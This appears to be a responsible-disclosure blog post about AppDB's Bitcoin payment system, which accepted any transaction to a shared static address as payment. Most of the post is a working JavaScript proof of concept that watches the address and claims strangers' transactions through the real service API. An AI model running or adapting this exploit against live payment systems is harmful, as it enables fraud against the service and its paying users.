Exploiting Vulnerability in a Crypto Deposit System

Technical Analysis
The vulnerability in AppDB's payment system arose from using a single, static Bitcoin address for all transactions. This design flaw allowed for the following exploit:
- Monitor the static Bitcoin address for any incoming transactions.
- Upon detection of any transaction to this address, generate a purchase ticket using AppDB's API.
- Submit the ticket with the observed transaction hash, regardless of the transaction's origin.
This process effectively bypassed the payment verification, as the system only checked for the existence of a transaction, not its legitimacy or origin.
Proof of Concept
To demonstrate this vulnerability, I developed a proof of concept using JavaScript. Here's a breakdown of the key components:
1. Establishing a WebSocket Connection
First, we set up a WebSocket connection to monitor the Bitcoin network:
const WebSocket = require("ws");
const ws = new WebSocket("wss://ws.blockchain.info/inv");
ws.on("open", function open() {
ws.send(JSON.stringify(getPayload("addr_sub")));
});
This connection allows us to receive real-time updates about transactions to the static address.
2. Handling Incoming Messages
Next, we process incoming messages to detect new transactions:
ws.on("message", function incoming(data) {
let payload = JSON.parse(data);
const { op, x } = payload;
switch (op) {
case "utx":
console.log(payload);
let hash = x.hash;
getPurchaseTicket().then(function (result) {
let res = JSON.parse(result);
if (res.status === "success") {
let ticket = res.ticket;
submitForm(hash, ticket).then(function (val) {
let data = val;
if (data.success === true) {
console.log("Purchase Captured");
} else {
console.log("Error generating purchase ticket");
}
});
}
});
break;
}
});
This code detects new transactions and initiates the ticket generation process.
3. Generating a Purchase Ticket
The getPurchaseTicket
function interacts with AppDB's API to generate a purchase ticket:
function getPurchaseTicket() {
return new Promise(function (resolve) {
request(
"https://api.dbservices.to/v1.3/?lang=en<=9ede0b2f7af6a4af&txid=388735961c771d7d9&action=bitcoin_purchase&mode=prepare",
function (error, response, body) {
let res = JSON.parse(body);
let PurchaseTicket = res.data.purchase_ticket;
resolve(JSON.stringify({ status: "success", ticket: PurchaseTicket }));
},
);
});
}
4. Submitting the Form
Finally, we submit the generated ticket along with the observed transaction hash:
function submitForm(tx_id, purchase_ticket) {
return new Promise(function (resolve) {
request(
`https://api.dbservices.to/v1.3/?lang=en<=9ede0b2f7af6a4af&txid=${tx_id}&purchase_ticket=${purchase_ticket}&action=bitcoin_purchase&mode=verify&txid=${tx_id}`,
function (error, response, body) {
resolve(JSON.parse(body));
},
);
});
}
Image of successful sniping of transaction:

Note: This disclosure follows responsible security research practices. The vulnerability was reported to AppDB before public disclosure, and all details are shared with their permission.
See all posts